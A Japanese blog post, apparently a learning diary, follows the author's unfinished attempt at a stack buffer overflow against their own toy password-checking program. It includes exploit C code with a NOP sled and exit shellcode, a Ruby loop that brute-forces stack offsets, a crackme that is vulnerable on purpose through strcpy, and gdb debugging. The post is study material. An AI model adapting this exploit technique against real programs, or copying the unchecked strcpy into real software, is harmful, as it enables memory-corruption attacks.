exploitの勉強(続)

id:MaD:20070206の続き。なんか上手くいかなくてexploit完成してないんだけれど、やってみた事を書きます。

バッファオーバーフローでmainからの戻りアドレスを書き換えることは問題なしで、問題は書き換えるアドレスの値の特定。
書き換えたアドレスがバッファの先頭を正確にポイントするようにするのは困難なので、図のように先頭部分をnopで埋めます。
そうすると、nopのどこかをポイントできれば自動的にコードに達するわけです。
これをnop sledというらしいです。

アドレスはどのように特定するかというと、スタックの先頭から適当なオフセットの場所にバッファがあるはずなので、様々なオフセットで手当たり次第に調べます。
ということで書いたコードが次。

/* exploit.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

/* スタックの先頭アドレスを取得 */
unsigned long get_sp(){
  __asm__("movl %esp, %eax");
}

int main(int argc, char *argv[])
{
  char code[200];
  char exit_code[] = "\x31\xdb\xb3\x64\x31\xc0\x40\xb0\xfc\xcd\x80";

  long ret = get_sp() + atoi(argv[1]); /* 引数からオフセットを渡す */

  /* まずバッファ全体を戻りアドレスで埋める */
  int i;
  for(i = 0; i < 50; ++i){
    *((int*)code + i) = ret;
  }

  /* 先頭50バイトをnopで埋める */
  for(i = 0; i < 50; ++i){
    code[i] = '\x90';
  }

  for(i = 0; i < strlen(exit_code); ++i){
    code[50 + i] = exit_code[i];
  }

  code[160] = '\0'; /* とりあえず160バイト目まで */
  execl("./crackme", "crackme", code, 0);
  return 0;
}

これで手当たり次第に調べれば上手く行くはずなのですが...

(0..1000).each do |i|
   puts "attempt #{i}"
   system("./exploit #{i}")
   if $? == 100
      puts "found #{i}"
   end
end

どうも全部segmentation faultで終わっているみたいです。
何が原因か探って見たところ、多分mainからの戻りアドレスの手前の値を書き換えてしまっていることが問題ではないかと思うのですが...。gdbでメモリを見てみたら次のようになっていました。

% gcc crackme.c -o crackme -g
% gdb crackme
(gdb) break main
(gdb) run hoge
(gdb) print/x (int[30])*((int*)buf + 25)
$1 = {0xaffff650, 0x0, 0xa8000cc0, 0xaffff698, 0xa7eb3ea8, 0x0, 0xa8000cc0, 
  0xaffff698, 0xa7eb3ea8, 0x2, 0xaffff6c4, 0xaffff6d0, 0x0, 0xa7fccff4, 0x0, 
  0xa8000cc0, 0xaffff698, 0xaffff650, 0xa7eb3e6d, 0x0, 0x0, 0x0, 0xa7ff6090, 
  0xa7eb3ded, 0xa8000ff4, 0x2, 0x8048350, 0x0, 0x8048371, 0x80483f4}
(gdb)

bufの先100バイト目から120バイト分を見てみました。
んで、id:MaD:20070206で調べたことによると多分9つめの0xa7eb3ea8がmainからの戻りアドレスで、ここをオーバーフローで書き換えるのには成功しているらしい。怪しいのは最初の20バイト。
とうことで実験。

/* crackme.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
  char buf[100];

  if(argc < 2){
    printf("usage: %s [password]\n", argv[0]);
    exit(1);
  }

  strcpy(buf, argv[1]);

  if(!strcmp(buf, "exploit")) puts("password is correct.");
  else puts("password is incorrect.");
  
  /* bufの120(30*4)バイト先から160(40*4)バイト先までをbufのアドレスで埋める */
  int i;
  for(i = 30; i < 40; ++i){
    *((int*)buf + i) = (int)buf;
  }
  return 0;
}

上のコードは

% ./crackme `echo "\x31\xdb\xb3\x64\x31\xc0\x40\xb0\xfc\xcd\x80"`
password is incorrect.
% echo $?
100

で動くけれども、i = 30の部分をi = 25に直すと動かなくなる。ということでやっぱりbufの100バイト先から20バイトを書き換えてしまっている事が問題なのだと思う。
ここに何が書いてあるのだろう??ちょっと調べてみよう。

追記

どうやらi = 26で動かなくなる。ということは、

(gdb) print/x (int[30])*((int*)buf + 25)
               コイツが犯人(?) 
                  ↓
$1 = {0xaffff650, 0x0, 0xa8000cc0, 0xaffff698, 0xa7eb3ea8, 0x0, 0xa8000cc0, 
  0xaffff698, 0xa7eb3ea8, 0x2, 0xaffff6c4, 0xaffff6d0, 0x0, 0xa7fccff4, 0x0, 

ということだと思う。ここを避けてmainの戻りアドレスだけ書き換えるなんて無理なんじゃないか???
う〜ん困ったなぁ。

追記2

めちゃくちゃバカなこと書いてました...orz (int*)buf + 26の0x0は追加したコードの i の値だ。いや、コードを追加していない場合にも同じ場所に0x0があるぞ。混乱してるなぁ〜orz

いやいや、iを追加したのだから最初にgdbで見た時と4バイトずれているはずだ。ということは

      コイツか!
        ↓
$1 = {0xaffff650, 0x0, 0xa8000cc0, 0xaffff698, 0xa7eb3ea8, 0x0, 0xa8000cc0, 
  0xaffff698, 0xa7eb3ea8, 0x2, 0xaffff6c4, 0xaffff6d0, 0x0, 0xa7fccff4, 0x0, 

追記3

gdbで追ってみた。まずあらかじめアドレスを割り出してコードを生成しておいてファイルに保存しておいた。
んで、gdbで実行

% gdb crackme
(gdb) break main
Breakpoint 1 at 0x804840d: file crackme.c, line 10.
(gdb) run `cat code`
Starting program: /home/mad/programing/crack/exploit3/crackme `cat code`
Failed to read a valid object file image from memory.

Breakpoint 1, main (argc=2, argv=0xaffff634) at crackme.c:10
10        if(argc < 2){
(gdb) print/x &buf
$1 = 0xaffff538    

バッファの先頭アドレス

(gdb) print/x (int[20])*((int*)buf + 25)    
$2 = {0xaffff5c0, 0x0, 0xa8000cc0, 0xaffff608, 0xa7eb3ea8, 0x0, 0xa8000cc0, 
  0xaffff608, 0xa7eb3ea8, 0x2, 0xaffff634, 0xaffff640, 0x0, 0xa7fccff4, 0x0, 
  0xa8000cc0, 0xaffff608, 0xaffff5c0, 0xa7eb3e6d, 0x0}

バッファの先を調べておく。多分0xa7eb3ea8を書き換えればいいはず。

(gdb) step
15        strcpy(buf, argv[1]);
(gdb) step   

書き込みが実行された。

17        if(!strcmp(buf, "exploit")) puts("password is correct.");
(gdb) print/x buf     
$3 = {0x90 <repeats 50 times>, 0x31, 0xdb, 0xb3, 0x64, 0x31, 0xc0, 0x40, 
  0xb0, 0xfc, 0xcd, 0x80, 0xf5, 0xff, 0xaf, 0x38, 0xf5, 0xff, 0xaf, 0x38, 
  0xf5, 0xff, 0xaf, 0x38, 0xf5, 0xff, 0xaf, 0x38, 0xf5, 0xff, 0xaf, 0x38, 
  0xf5, 0xff, 0xaf, 0x38, 0xf5, 0xff, 0xaf, 0x38, 0xf5, 0xff, 0xaf, 0x38, 
  0xf5, 0xff, 0xaf, 0x38, 0xf5, 0xff, 0xaf}

ちゃんとバッファの先頭からコードが入っている

(gdb) print/x (int[20])*((int*)buf + 25)    
$4 = {0xaffff538 <repeats 15 times>, 0xa8000c00, 0xaffff608, 0xaffff5c0, 
  0xa7eb3e6d, 0x0}

戻りアドレスと思われるあたりが0xaffff538で書き換えられてる。
さっき調べたバッファの先頭アドレスと等しいので、仕込んだコードに実行が移るはず。

(gdb) continue
Warning:
Cannot insert breakpoint 0.
Error accessing memory address 0x90909090: Input/output error.  <- ???

これは明らかに仕込んだコード(nop)の値だ。
ということは、アドレスを書換えた結果「バッファの先頭に実行が移る」のではなく「バッファの先頭の値を読む」という処理が行われているということ。ってことはスタックの中には戻りアドレスがあるんじゃなくて、戻りアドレスの参照先があるということかな??